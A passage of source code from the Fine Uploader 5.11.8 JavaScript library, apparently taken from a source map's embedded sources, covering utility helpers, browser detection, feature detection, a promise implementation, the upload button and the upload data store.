qq.arrayBufferToHex = function(buffer) {\n        var bytesAsHex = \"\",\n            bytes = new Uint8Array(buffer);\n\n        qq.each(bytes, function(idx, byt) {\n            var byteAsHexStr = byt.toString(16);\n\n            if (byteAsHexStr.length < 2) {\n                byteAsHexStr = \"0\" + byteAsHexStr;\n            }\n\n            bytesAsHex += byteAsHexStr;\n        });\n\n        return bytesAsHex;\n    };\n\n    qq.readBlobToHex = function(blob, startOffset, length) {\n        var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length),\n            fileReader = new FileReader(),\n            promise = new qq.Promise();\n\n        fileReader.onload = function() {\n            promise.success(qq.arrayBufferToHex(fileReader.result));\n        };\n\n        fileReader.onerror = promise.failure;\n\n        fileReader.readAsArrayBuffer(initialBlob);\n\n        return promise;\n    };\n\n    qq.extend = function(first, second, extendNested) {\n        qq.each(second, function(prop, val) {\n            if (extendNested && qq.isObject(val)) {\n                if (first[prop] === undefined) {\n                    first[prop] = {};\n                }\n                qq.extend(first[prop], val, true);\n            }\n            else {\n                first[prop] = val;\n            }\n        });\n\n        return first;\n    };\n\n    /**\n     * Allow properties in one object to override properties in another,\n     * keeping track of the original values from the target object.\n     *\n     * Note that the pre-overriden properties to be overriden by the source will be passed into the `sourceFn` when it is invoked.\n     *\n     * @param target Update properties in this object from some source\n     * @param sourceFn A function that, when invoked, will return properties that will replace properties with the same name in the target.\n     * @returns {object} The target object\n     */\n    qq.override = function(target, sourceFn) {\n        var super_ = {},\n            source = sourceFn(super_);\n\n        qq.each(source, function(srcPropName, srcPropVal) {\n            if (target[srcPropName] !== undefined) {\n                super_[srcPropName] = target[srcPropName];\n            }\n\n            target[srcPropName] = srcPropVal;\n        });\n\n        return target;\n    };\n\n    /**\n     * Searches for a given element (elt) in the array, returns -1 if it is not present.\n     */\n    qq.indexOf = function(arr, elt, from) {\n        if (arr.indexOf) {\n            return arr.indexOf(elt, from);\n        }\n\n        from = from || 0;\n        var len = arr.length;\n\n        if (from < 0) {\n            from += len;\n        }\n\n        for (; from < len; from += 1) {\n            if (arr.hasOwnProperty(from) && arr[from] === elt) {\n                return from;\n            }\n        }\n        return -1;\n    };\n\n    //this is a version 4 UUID\n    qq.getUniqueId = function() {\n        return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(/[xy]/g, function(c) {\n            /*jslint eqeq: true, bitwise: true*/\n            var r = Math.random() * 16 | 0, v = c == \"x\" ? r : (r & 0x3 | 0x8);\n            return v.toString(16);\n        });\n    };\n\n    //\n    // Browsers and platforms detection\n    qq.ie = function() {\n        return navigator.userAgent.indexOf(\"MSIE\") !== -1 ||\n            navigator.userAgent.indexOf(\"Trident\") !== -1;\n    };\n\n    qq.ie7 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 7\") !== -1;\n    };\n\n    qq.ie8 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 8\") !== -1;\n    };\n\n    qq.ie10 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 10\") !== -1;\n    };\n\n    qq.ie11 = function() {\n        return qq.ie() && navigator.userAgent.indexOf(\"rv:11\") !== -1;\n    };\n\n    qq.edge = function() {\n        return navigator.userAgent.indexOf(\"Edge\") >= 0;\n    };\n\n    qq.safari = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Apple\") !== -1;\n    };\n\n    qq.chrome = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Google\") !== -1;\n    };\n\n    qq.opera = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Opera\") !== -1;\n    };\n\n    qq.firefox = function() {\n        return (!qq.edge() && !qq.ie11() && navigator.userAgent.indexOf(\"Mozilla\") !== -1 && navigator.vendor !== undefined && navigator.vendor === \"\");\n    };\n\n    qq.windows = function() {\n        return navigator.platform === \"Win32\";\n    };\n\n    qq.android = function() {\n        return navigator.userAgent.toLowerCase().indexOf(\"android\") !== -1;\n    };\n\n    // We need to identify the Android stock browser via the UA string to work around various bugs in this browser,\n    // such as the one that prevents a `Blob` from being uploaded.\n    qq.androidStock = function() {\n        return qq.android() && navigator.userAgent.toLowerCase().indexOf(\"chrome\") < 0;\n    };\n\n    qq.ios6 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 6_\") !== -1;\n    };\n\n    qq.ios7 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 7_\") !== -1;\n    };\n\n    qq.ios8 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_\") !== -1;\n    };\n\n    // iOS 8.0.0\n    qq.ios800 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_0 \") !== -1;\n    };\n\n    qq.ios = function() {\n        /*jshint -W014 */\n        return navigator.userAgent.indexOf(\"iPad\") !== -1\n            || navigator.userAgent.indexOf(\"iPod\") !== -1\n            || navigator.userAgent.indexOf(\"iPhone\") !== -1;\n    };\n\n    qq.iosChrome = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\"CriOS\") !== -1;\n    };\n\n    qq.iosSafari = function() {\n        return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf(\"Safari\") !== -1;\n    };\n\n    qq.iosSafariWebView = function() {\n        return qq.ios() && !qq.iosChrome() && !qq.iosSafari();\n    };\n\n    //\n    // Events\n\n    qq.preventDefault = function(e) {\n        if (e.preventDefault) {\n            e.preventDefault();\n        } else {\n            e.returnValue = false;\n        }\n    };\n\n    /**\n     * Creates and returns element from html string\n     * Uses innerHTML to create an element\n     */\n    qq.toElement = (function() {\n        var div = document.createElement(\"div\");\n        return function(html) {\n            div.innerHTML = html;\n            var element = div.firstChild;\n            div.removeChild(element);\n            return element;\n        };\n    }());\n\n    //key and value are passed to callback for each entry in the iterable item\n    qq.each = function(iterableItem, callback) {\n        var keyOrIndex, retVal;\n\n        if (iterableItem) {\n            // Iterate through [`Storage`](http://www.w3.org/TR/webstorage/#the-storage-interface) items\n            if (window.Storage && iterableItem.constructor === window.Storage) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            // `DataTransferItemList` & `NodeList` objects are array-like and should be treated as arrays\n            // when iterating over items inside the object.\n            else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else if (qq.isString(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else {\n                for (keyOrIndex in iterableItem) {\n                    if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {\n                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                        if (retVal === false) {\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    //include any args that should be passed to the new function after the context arg\n    qq.bind = function(oldFunc, context) {\n        if (qq.isFunction(oldFunc)) {\n            var args =  Array.prototype.slice.call(arguments, 2);\n\n            return function() {\n                var newArgs = qq.extend([], args);\n                if (arguments.length) {\n                    newArgs = newArgs.concat(Array.prototype.slice.call(arguments));\n                }\n                return oldFunc.apply(context, newArgs);\n            };\n        }\n\n        throw new Error(\"first parameter must be a function!\");\n    };\n\n    /**\n     * obj2url() takes a json-object as argument and generates\n     * a querystring. pretty much like jQuery.param()\n     *\n     * how to use:\n     *\n     *    `qq.obj2url({a:'b',c:'d'},'http://any.url/upload?otherParam=value');`\n     *\n     * will result in:\n     *\n     *    `http://any.url/upload?otherParam=value&a=b&c=d`\n     *\n     * @param  Object JSON-Object\n     * @param  String current querystring-part\n     * @return String encoded querystring\n     */\n    qq.obj2url = function(obj, temp, prefixDone) {\n        /*jshint laxbreak: true*/\n        var uristrings = [],\n            prefix = \"&\",\n            add = function(nextObj, i) {\n                var nextTemp = temp\n                    ? (/\\[\\]$/.test(temp)) // prevent double-encoding\n                    ? temp\n                    : temp + \"[\" + i + \"]\"\n                    : i;\n                if ((nextTemp !== \"undefined\") && (i !== \"undefined\")) {\n                    uristrings.push(\n                        (typeof nextObj === \"object\")\n                            ? qq.obj2url(nextObj, nextTemp, true)\n                            : (Object.prototype.toString.call(nextObj) === \"[object Function]\")\n                            ? encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj())\n                            : encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj)\n                    );\n                }\n            };\n\n        if (!prefixDone && temp) {\n            prefix = (/\\?/.test(temp)) ? (/\\?$/.test(temp)) ? \"\" : \"&\" : \"?\";\n            uristrings.push(temp);\n            uristrings.push(qq.obj2url(obj));\n        } else if ((Object.prototype.toString.call(obj) === \"[object Array]\") && (typeof obj !== \"undefined\")) {\n            qq.each(obj, function(idx, val) {\n                add(val, idx);\n            });\n        } else if ((typeof obj !== \"undefined\") && (obj !== null) && (typeof obj === \"object\")) {\n            qq.each(obj, function(prop, val) {\n                add(val, prop);\n            });\n        } else {\n            uristrings.push(encodeURIComponent(temp) + \"=\" + encodeURIComponent(obj));\n        }\n\n        if (temp) {\n            return uristrings.join(prefix);\n        } else {\n            return uristrings.join(prefix)\n                .replace(/^&/, \"\")\n                .replace(/%20/g, \"+\");\n        }\n    };\n\n    qq.obj2FormData = function(obj, formData, arrayKeyName) {\n        if (!formData) {\n            formData = new FormData();\n        }\n\n        qq.each(obj, function(key, val) {\n            key = arrayKeyName ? arrayKeyName + \"[\" + key + \"]\" : key;\n\n            if (qq.isObject(val)) {\n                qq.obj2FormData(val, formData, key);\n            }\n            else if (qq.isFunction(val)) {\n                formData.append(key, val());\n            }\n            else {\n                formData.append(key, val);\n            }\n        });\n\n        return formData;\n    };\n\n    qq.obj2Inputs = function(obj, form) {\n        var input;\n\n        if (!form) {\n            form = document.createElement(\"form\");\n        }\n\n        qq.obj2FormData(obj, {\n            append: function(key, val) {\n                input = document.createElement(\"input\");\n                input.setAttribute(\"name\", key);\n                input.setAttribute(\"value\", val);\n                form.appendChild(input);\n            }\n        });\n\n        return form;\n    };\n\n    /**\n     * Not recommended for use outside of Fine Uploader since this falls back to an unchecked eval if JSON.parse is not\n     * implemented.  For a more secure JSON.parse polyfill, use Douglas Crockford's json2.js.\n     */\n    qq.parseJson = function(json) {\n        /*jshint evil: true*/\n        if (window.JSON && qq.isFunction(JSON.parse)) {\n            return JSON.parse(json);\n        } else {\n            return eval(\"(\" + json + \")\");\n        }\n    };\n\n    /**\n     * Retrieve the extension of a file, if it exists.\n     *\n     * @param filename\n     * @returns {string || undefined}\n     */\n    qq.getExtension = function(filename) {\n        var extIdx = filename.lastIndexOf(\".\") + 1;\n\n        if (extIdx > 0) {\n            return filename.substr(extIdx, filename.length - extIdx);\n        }\n    };\n\n    qq.getFilename = function(blobOrFileInput) {\n        /*jslint regexp: true*/\n\n        if (qq.isInput(blobOrFileInput)) {\n            // get input value and remove path to normalize\n            return blobOrFileInput.value.replace(/.*(\\/|\\\\)/, \"\");\n        }\n        else if (qq.isFile(blobOrFileInput)) {\n            if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {\n                return blobOrFileInput.fileName;\n            }\n        }\n\n        return blobOrFileInput.name;\n    };\n\n    /**\n     * A generic module which supports object disposing in dispose() method.\n     * */\n    qq.DisposeSupport = function() {\n        var disposers = [];\n\n        return {\n            /** Run all registered disposers */\n            dispose: function() {\n                var disposer;\n                do {\n                    disposer = disposers.shift();\n                    if (disposer) {\n                        disposer();\n                    }\n                }\n                while (disposer);\n            },\n\n            /** Attach event handler and register de-attacher as a disposer */\n            attach: function() {\n                var args = arguments;\n                /*jslint undef:true*/\n                this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));\n            },\n\n            /** Add disposer to the collection */\n            addDisposer: function(disposeFunction) {\n                disposers.push(disposeFunction);\n            }\n        };\n    };\n}());\n","/* globals define, module, global, qq */\n(function() {\n    \"use strict\";\n    if (typeof define === \"function\" && define.amd) {\n        define(function() {\n            return qq;\n        });\n    }\n    else if (typeof module !== \"undefined\" && module.exports) {\n        module.exports = qq;\n    }\n    else {\n        global.qq = qq;\n    }\n}());\n","/* globals qq */\n/**\n * Fine Uploader top-level Error container.  Inherits from `Error`.\n */\n(function() {\n    \"use strict\";\n\n    qq.Error = function(message) {\n        this.message = \"[Fine Uploader \" + qq.version + \"] \" + message;\n    };\n\n    qq.Error.prototype = new Error();\n}());\n","/*global qq */\nqq.version = \"5.11.8\";\n","/* globals qq */\nqq.supportedFeatures = (function() {\n    \"use strict\";\n\n    var supportsUploading,\n        supportsUploadingBlobs,\n        supportsFileDrop,\n        supportsAjaxFileUploading,\n        supportsFolderDrop,\n        supportsChunking,\n        supportsResume,\n        supportsUploadViaPaste,\n        supportsUploadCors,\n        supportsDeleteFileXdr,\n        supportsDeleteFileCorsXhr,\n        supportsDeleteFileCors,\n        supportsFolderSelection,\n        supportsImagePreviews,\n        supportsUploadProgress;\n\n    function testSupportsFileInputElement() {\n        var supported = true,\n            tempInput;\n\n        try {\n            tempInput = document.createElement(\"input\");\n            tempInput.type = \"file\";\n            qq(tempInput).hide();\n\n            if (tempInput.disabled) {\n                supported = false;\n            }\n        }\n        catch (ex) {\n            supported = false;\n        }\n\n        return supported;\n    }\n\n    //only way to test for Filesystem API support since webkit does not expose the DataTransfer interface\n    function isChrome21OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[2][1-9]|Chrome\\/[3-9][0-9]/) !== undefined;\n    }\n\n    //only way to test for complete Clipboard API support at this time\n    function isChrome14OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[1][4-9]|Chrome\\/[2-9][0-9]/) !== undefined;\n    }\n\n    //Ensure we can send cross-origin `XMLHttpRequest`s\n    function isCrossOriginXhrSupported() {\n        if (window.XMLHttpRequest) {\n            var xhr = qq.createXhrInstance();\n\n            //Commonly accepted test for XHR CORS support.\n            return xhr.withCredentials !== undefined;\n        }\n\n        return false;\n    }\n\n    //Test for (terrible) cross-origin ajax transport fallback for IE9 and IE8\n    function isXdrSupported() {\n        return window.XDomainRequest !== undefined;\n    }\n\n    // CORS Ajax requests are supported if it is either possible to send credentialed `XMLHttpRequest`s,\n    // or if `XDomainRequest` is an available alternative.\n    function isCrossOriginAjaxSupported() {\n        if (isCrossOriginXhrSupported()) {\n            return true;\n        }\n\n        return isXdrSupported();\n    }\n\n    function isFolderSelectionSupported() {\n        // We know that folder selection is only supported in Chrome via this proprietary attribute for now\n        return document.createElement(\"input\").webkitdirectory !== undefined;\n    }\n\n    function isLocalStorageSupported() {\n        try {\n            return !!window.localStorage &&\n                // unpatched versions of IE10/11 have buggy impls of localStorage where setItem is a string\n                qq.isFunction(window.localStorage.setItem);\n        }\n        catch (error) {\n            // probably caught a security exception, so no localStorage for you\n            return false;\n        }\n    }\n\n    function isDragAndDropSupported() {\n        var span = document.createElement(\"span\");\n\n        return (\"draggable\" in span || (\"ondragstart\" in span && \"ondrop\" in span)) &&\n            !qq.android() && !qq.ios();\n    }\n\n    supportsUploading = testSupportsFileInputElement();\n\n    supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();\n\n    supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();\n\n    supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();\n\n    supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();\n\n    supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();\n\n    supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();\n\n    supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();\n\n    supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);\n\n    supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();\n\n    supportsDeleteFileXdr = isXdrSupported();\n\n    supportsDeleteFileCors = isCrossOriginAjaxSupported();\n\n    supportsFolderSelection = isFolderSelectionSupported();\n\n    supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;\n\n    supportsUploadProgress = (function() {\n        if (supportsAjaxFileUploading) {\n            return !qq.androidStock() && !qq.iosChrome();\n        }\n        return false;\n    }());\n\n    return {\n        ajaxUploading: supportsAjaxFileUploading,\n        blobUploading: supportsUploadingBlobs,\n        canDetermineSize: supportsAjaxFileUploading,\n        chunking: supportsChunking,\n        deleteFileCors: supportsDeleteFileCors,\n        deleteFileCorsXdr: supportsDeleteFileXdr, //NOTE: will also return true in IE10, where XDR is also supported\n        deleteFileCorsXhr: supportsDeleteFileCorsXhr,\n        dialogElement: !!window.HTMLDialogElement,\n        fileDrop: supportsFileDrop,\n        folderDrop: supportsFolderDrop,\n        folderSelection: supportsFolderSelection,\n        imagePreviews: supportsImagePreviews,\n        imageValidation: supportsImagePreviews,\n        itemSizeValidation: supportsAjaxFileUploading,\n        pause: supportsChunking,\n        progressBar: supportsUploadProgress,\n        resume: supportsResume,\n        scaling: supportsImagePreviews && supportsUploadingBlobs,\n        tiffPreviews: qq.safari(), // Not the best solution, but simple and probably accurate enough (for now)\n        unlimitedScaledImageSize: !qq.ios(), // false simply indicates that there is some known limit\n        uploading: supportsUploading,\n        uploadCors: supportsUploadCors,\n        uploadCustomHeaders: supportsAjaxFileUploading,\n        uploadNonMultipart: supportsAjaxFileUploading,\n        uploadViaPaste: supportsUploadViaPaste\n    };\n\n}());\n","/*globals qq*/\n\n// Is the passed object a promise instance?\nqq.isGenericPromise = function(maybePromise) {\n    \"use strict\";\n    return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));\n};\n\nqq.Promise = function() {\n    \"use strict\";\n\n    var successArgs, failureArgs,\n        successCallbacks = [],\n        failureCallbacks = [],\n        doneCallbacks = [],\n        state = 0;\n\n    qq.extend(this, {\n        then: function(onSuccess, onFailure) {\n            if (state === 0) {\n                if (onSuccess) {\n                    successCallbacks.push(onSuccess);\n                }\n                if (onFailure) {\n                    failureCallbacks.push(onFailure);\n                }\n            }\n            else if (state === -1) {\n                onFailure && onFailure.apply(null, failureArgs);\n            }\n            else if (onSuccess) {\n                onSuccess.apply(null, successArgs);\n            }\n\n            return this;\n        },\n\n        done: function(callback) {\n            if (state === 0) {\n                doneCallbacks.push(callback);\n            }\n            else {\n                callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);\n            }\n\n            return this;\n        },\n\n        success: function() {\n            state = 1;\n            successArgs = arguments;\n\n            if (successCallbacks.length) {\n                qq.each(successCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            return this;\n        },\n\n        failure: function() {\n            state = -1;\n            failureArgs = arguments;\n\n            if (failureCallbacks.length) {\n                qq.each(failureCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            return this;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Placeholder for a Blob that will be generated on-demand.\n *\n * @param referenceBlob Parent of the generated blob\n * @param onCreate Function to invoke when the blob must be created.  Must be promissory.\n * @constructor\n */\nqq.BlobProxy = function(referenceBlob, onCreate) {\n    \"use strict\";\n\n    qq.extend(this, {\n        referenceBlob: referenceBlob,\n\n        create: function() {\n            return onCreate(referenceBlob);\n        }\n    });\n};\n","/*globals qq*/\n\n/**\n * This module represents an upload or \"Select File(s)\" button.  It's job is to embed an opaque `<input type=\"file\">`\n * element as a child of a provided \"container\" element.  This \"container\" element (`options.element`) is used to provide\n * a custom style for the `<input type=\"file\">` element.  The ability to change the style of the container element is also\n * provided here by adding CSS classes to the container on hover/focus.\n *\n * TODO Eliminate the mouseover and mouseout event handlers since the :hover CSS pseudo-class should now be\n * available on all supported browsers.\n *\n * @param o Options to override the default values\n */\nqq.UploadButton = function(o) {\n    \"use strict\";\n\n    var self = this,\n\n        disposeSupport = new qq.DisposeSupport(),\n\n        options = {\n            // Corresponds to the `accept` attribute on the associated `<input type=\"file\">`\n            acceptFiles: null,\n\n            // \"Container\" element\n            element: null,\n\n            focusClass: \"qq-upload-button-focus\",\n\n            // A true value allows folders to be selected, if supported by the UA\n            folders: false,\n\n            // **This option will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n            hoverClass: \"qq-upload-button-hover\",\n\n            ios8BrowserCrashWorkaround: false,\n\n            // If true adds `multiple` attribute to `<input type=\"file\">`\n            multiple: false,\n\n            // `name` attribute of `<input type=\"file\">`\n            name: \"qqfile\",\n\n            // Called when the browser invokes the onchange handler on the `<input type=\"file\">`\n            onChange: function(input) {},\n\n            title: null\n        },\n        input, buttonId;\n\n    // Overrides any of the default option values with any option values passed in during construction.\n    qq.extend(options, o);\n\n    buttonId = qq.getUniqueId();\n\n    // Embed an opaque `<input type=\"file\">` element as a child of `options.element`.\n    function createInput() {\n        var input = document.createElement(\"input\");\n\n        input.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME, buttonId);\n        input.setAttribute(\"title\", options.title);\n\n        self.setMultiple(options.multiple, input);\n\n        if (options.folders && qq.supportedFeatures.folderSelection) {\n            // selecting directories is only possible in Chrome now, via a vendor-specific prefixed attribute\n            input.setAttribute(\"webkitdirectory\", \"\");\n        }\n\n        if (options.acceptFiles) {\n            input.setAttribute(\"accept\", options.acceptFiles);\n        }\n\n        input.setAttribute(\"type\", \"file\");\n        input.setAttribute(\"name\", options.name);\n\n        qq(input).css({\n            position: \"absolute\",\n            // in Opera only 'browse' button\n            // is clickable and it is located at\n            // the right side of the input\n            right: 0,\n            top: 0,\n            fontFamily: \"Arial\",\n            // It's especially important to make this an arbitrarily large value\n            // to ensure the rendered input button in IE takes up the entire\n            // space of the container element.  Otherwise, the left side of the\n            // button will require a double-click to invoke the file chooser.\n            // In other browsers, this might cause other issues, so a large font-size\n            // is only used in IE.  There is a bug in IE8 where the opacity style is  ignored\n            // in some cases when the font-size is large.  So, this workaround is not applied\n            // to IE8.\n            fontSize: qq.ie() && !qq.ie8() ? \"3500px\" : \"118px\",\n            margin: 0,\n            padding: 0,\n            cursor: \"pointer\",\n            opacity: 0\n        });\n\n        // Setting the file input's height to 100% in IE7 causes\n        // most of the visible button to be unclickable.\n        !qq.ie7() && qq(input).css({height: \"100%\"});\n\n        options.element.appendChild(input);\n\n        disposeSupport.attach(input, \"change\", function() {\n            options.onChange(input);\n        });\n\n        // **These event handlers will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n        disposeSupport.attach(input, \"mouseover\", function() {\n            qq(options.element).addClass(options.hoverClass);\n        });\n        disposeSupport.attach(input, \"mouseout\", function() {\n            qq(options.element).removeClass(options.hoverClass);\n        });\n\n        disposeSupport.attach(input, \"focus\", function() {\n            qq(options.element).addClass(options.focusClass);\n        });\n        disposeSupport.attach(input, \"blur\", function() {\n            qq(options.element).removeClass(options.focusClass);\n        });\n\n        return input;\n    }\n\n    // Make button suitable container for input\n    qq(options.element).css({\n        position: \"relative\",\n        overflow: \"hidden\",\n        // Make sure browse button is in the right side in Internet Explorer\n        direction: \"ltr\"\n    });\n\n    // Exposed API\n    qq.extend(this, {\n        getInput: function() {\n            return input;\n        },\n\n        getButtonId: function() {\n            return buttonId;\n        },\n\n        setMultiple: function(isMultiple, optInput) {\n            var input = optInput || this.getInput();\n\n            // Temporary workaround for bug in in iOS8 UIWebView that causes the browser to crash\n            // before the file chooser appears if the file input doesn't contain a multiple attribute.\n            // See #1283.\n            if (options.ios8BrowserCrashWorkaround && qq.ios8() && (qq.iosChrome() || qq.iosSafariWebView())) {\n                input.setAttribute(\"multiple\", \"\");\n            }\n\n            else {\n                if (isMultiple) {\n                    input.setAttribute(\"multiple\", \"\");\n                }\n                else {\n                    input.removeAttribute(\"multiple\");\n                }\n            }\n        },\n\n        setAcceptFiles: function(acceptFiles) {\n            if (acceptFiles !== options.acceptFiles) {\n                input.setAttribute(\"accept\", acceptFiles);\n            }\n        },\n\n        reset: function() {\n            if (input.parentNode) {\n                qq(input).remove();\n            }\n\n            qq(options.element).removeClass(options.focusClass);\n            input = null;\n            input = createInput();\n        }\n    });\n\n    input = createInput();\n};\n\nqq.UploadButton.BUTTON_ID_ATTR_NAME = \"qq-button-id\";\n","/*globals qq */\nqq.UploadData = function(uploaderProxy) {\n    \"use strict\";\n\n    var data = [],\n        byUuid = {},\n        byStatus = {},\n        byProxyGroupId = {},\n        byBatchId = {};\n\n    function getDataByIds(idOrIds) {\n        if (qq.isArray(idOrIds)) {\n            var entries = [];\n\n            qq.each(idOrIds, function(idx, id) {\n                entries.push(data[id]);\n            });\n\n            return entries;\n        }\n\n        return data[idOrIds];\n    }\n\n    function getDataByUuids(uuids) {\n        if (qq.isArray(uuids)) {\n            var entries = [];\n\n            qq.each(uuids, function(idx, uuid) {\n                entries.push(data[byUuid[uuid]]);\n            });\n\n            return entries;\n        }\n\n        return data[byUuid[uuids]];\n    }\n\n    function getDataByStatus(status) {\n        var statusResults = [],\n            statuses = [].concat(status);\n\n        qq.each(statuses, function(index, statusEnum) {\n            var statusResultIndexes = byStatus[statusEnum];\n\n            if (statusResultIndexes !== undefined) {\n                qq.each(statusResultIndexes, function(i, dataIndex) {\n                    statusResults.push(data[dataIndex]);\n                });\n            }\n        });\n\n        return statusResults;\n    }\n\n    qq.extend(this, {\n        /**\n         * Adds a new file to the data cache for tracking purposes.\n         *\n         * @param spec Data that describes this file.  Possible properties are:\n         *\n         * - uuid: Initial UUID for this file.\n         * - name: Initial name of this file.\n         * - size: Size of this file, omit if this cannot be determined\n         * - status: Initial `qq.status` for this file.  Omit for `qq.status.SUBMITTING`.\n         * - batchId: ID of the batch this file belongs to\n         * - proxyGroupId: ID of the proxy group associated with this file\n         *\n         * @returns {number} Internal ID for this file.\n         */\n        addFile: function(spec) {\n            var status = spec.status || qq.status.SUBMITTING,\n                id = data.push({\n                    name: spec.name,\n                    originalName: spec.name,\n                    uuid: spec.uuid,\n                    size: spec.size == null ? -1 : spec.size,\n                    status: status\n                }) - 1;\n\n            if (spec.batchId) {\n                data[id].batchId = spec.batchId;\n\n                if (byBatchId[spec.batchId] === undefined) {\n                    byBatchId[spec.batchId] = [];\n                }\n                byBatchId[spec.batchId].push(id);\n            }\n\n            if (spec.proxyGroupId) {\n                data[id].proxyGroupId = spec.proxyGroupId;\n\n                if (byProxyGroupId[spec.proxyGroupId] === undefined) {\n                    byProxyGroupId[spec.proxyGroupId] = [];\n                }\n                byProxyGroupId[spec.proxyGroupId].push(id);\n            }\n\n            data[id].id = id;\n            byUuid[spec.uuid] = id;\n\n            if (byStatus[status] === undefined) {\n                byStatus[status] = [];\n            }\n            byStatus[status].push(id);\n\n            uploaderProxy.onStatusChange(id, null, status);\n\n            return id;\n        },\n\n        retrieve: function(optionalFilter) {\n            if (qq.isObject(optionalFilter) && data.length)  {\n                if (optionalFilter.id !== undefined) {\n                    return getDataByIds(optionalFilter.id);\n                }\n\n                else if (optionalFilter.uuid !== undefined) {\n                    return getDataByUuids(optionalFilter.uuid);\n                }\n\n                else if (optionalFilter.status) {\n                    return getDataByStatus(optionalFilter.status);\n                }\n            }\n            else {\n                return qq.extend([], data, true);\n            }\n        },\n\n        reset: function() {\n            data = [];\n            byUuid = {};\n            byStatus = {};\n            byBatchId = {};\n        },\n\n        setStatus: function(id, newStatus) {\n            var oldStatus = data[id].status,\n                byStatusOldStatusIndex = qq.indexOf(byStatus[oldStatus], id);\n\n            byStatus[oldStatus].splice(byStatusOldStatusIndex, 1);\n\n            data[id].status = newStatus;\n\n            if (byStatus[newStatus] === undefined) {\n                byStatus[newStatus] = [];\n            }\n            byStatus[newStatus].push(id);\n\n            uploaderProxy.onStatusChange(id, oldStatus, newStatus);\n        },\n\n        uuidChanged: function(id, newUuid) {\n            var oldUuid = data[id].uuid;\n\n            data[id].uuid = newUuid;\n            byUuid[newUuid] = id;\n            delete byUuid[oldUuid];\n        },\n\n        updateName: function(id, newName) {\n            data[id].name = newName;\n        },\n\n        updateSize: function(id, newSize) {\n            data[id].size = newSize;\n        },\n\n        // Only applicable if this file has a parent that we may want to reference later.\n        setParentId: function(targetId, parentId) {\n            data[targetId].parentId = parentId;\n        },\n\n        getIdsInProxyGroup: function(id) {\n            var proxyGroupId = data[id].proxyGroupId;\n\n            if (proxyGroupId) {\n                return byProxyGroupId[proxyGroupId];\n            }\n            return [];\n        },\n\n        getIdsInBatch: function(id) {\n            var batchId = data[id].batchId;\n\n            return byBatchId[batchId];\n        }\n    });\n};\n\nqq.status = {\n    SUBMITTING: \"submitting\",\n    SUBMITTED: \"submitted\",\n    REJECTED: \"rejected\",\n    QUEUED: \"queued\",\n    CANCELED: \"canceled\",\n    PAUSED: \"paused\",\n    UPLOADING: \"uploading\",\n    UPLOAD_RETRYING: \"retrying upload\",\n    UPLOAD_SUCCESSFUL: \"upload successful\",\n    UPLOAD_FAILED: \"upload failed\",\n    DELETE_FAILED: \"delete failed\",\n    DELETING: \"deleting\",\n    DELETED: \"deleted\"\n};\n","/*globals qq*/\n/**\n * Defines the public API for FineUploaderBasic mode.\n */\n(function() {\n    \"use strict\";\n\n    